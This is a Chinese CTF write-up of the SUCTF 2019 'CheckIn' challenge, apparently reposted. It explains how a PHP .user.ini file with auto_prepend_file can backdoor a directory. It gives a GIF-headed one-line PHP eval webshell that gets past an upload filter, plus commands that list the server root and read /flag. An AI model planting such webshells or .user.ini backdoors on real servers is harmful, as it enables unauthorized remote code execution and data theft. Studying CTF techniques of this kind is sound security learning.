[SUCTF 2019]CheckIn


知識點:

.user.ini。

:.user.ini。它比.htaccess用的更廣,不管是nginx/apache/IIS,只要是以fastcgi運行的php都可以用這個方法。可謂很廣,不像.htaccess有局限性,只能是apache.

那么什么是.user.ini?

這得從php.ini說起了。php.ini是php默認的配置文件,其中包括了很多php的配置,這些配置中,又分為幾種:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。 在此可以查看:http://php.net/manual/zh/ini.list.php 這幾種模式有什么區別?看看官方的解釋:

其中就提到了,模式為PHP_INI_USER的配置項,可以在ini_set()函數中設置、注冊表中設置,再就是.user.ini中設置。 這里就提到了.user.ini,那么這是個什么配置文件?那么官方文檔在這里又解釋了:

除了主 php.ini 之外,PHP 還會在每個目錄下掃描 INI 文件,從被執行的 PHP 文件所在目錄開始一直上升到 web 根目錄($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被執行的 PHP 文件在 web 根目錄之外,則只掃描該目錄。

在 .user.ini 風格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 設置可被識別。

這里就很清楚了,.user.ini實際上就是一個可以由用戶“自定義”的php.ini,我們能夠自定義的設置是模式為“PHP_INI_PERDIR 、 PHP_INI_USER”的設置。(上面表格中沒有提到的PHP_INI_PERDIR也可以在.user.ini中設置

實際上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通過.user.ini來設置的。

而且,和php.ini不同的是,.user.ini是一個能被動態加載的ini文件。也就是說我修改了.user.ini后,不需要重啟服務器中間件,只需要等待user_ini.cache_ttl所設置的時間(默認為300秒),即可被重新加載。

然后我們看到php.ini中的配置項,可惜我沮喪地發現,只要稍微敏感的配置項,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不過,我們可以很容易地借助.user.ini文件來構造一個“后門”。

Php配置項中有兩個比較有意思的項(下圖第一、四個):

auto_append_file、auto_prepend_file,點開看看什么意思:

指定一個文件,自動包含在要執行的文件前,類似於在文件前調用了require()函數。而auto_append_file類似,只是在文件后面包含。 使用方法很簡單,直接寫在.user.ini中:

GIF89a
auto_prepend_file=01.gif

01.gif是要包含的文件。

所以,我們可以借助.user.ini輕松讓所有php文件都“自動”包含某個文件,而這個文件可以是一個正常php文件,也可以是一個包含一句話的webshell。

測試發現我們上傳的圖片馬中不能出現<?且要求我們文件頭有GIF89a
於是我們可以制作這樣一個圖片馬
GIF89a?

PS:

\x00\x00\x8a\x39\x8a\x39
<script language='php'>eval($_REQUEST[c]);</script>
#php5環境下可用

上傳成功
然后直接用蟻劍連接找到flag

方法二

看網上wp還有一種是直接執行命令查看flag
上傳圖片馬后
掃描根目錄:a=var_dump(scandir("/"));,我們可以可以看見一個叫flag的文件

打印:a=var_dump(file_get_contents("/flag"));

或者

參考鏈接:
https://wooyun.js.org/drops/user.ini文件構成的PHP后門.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM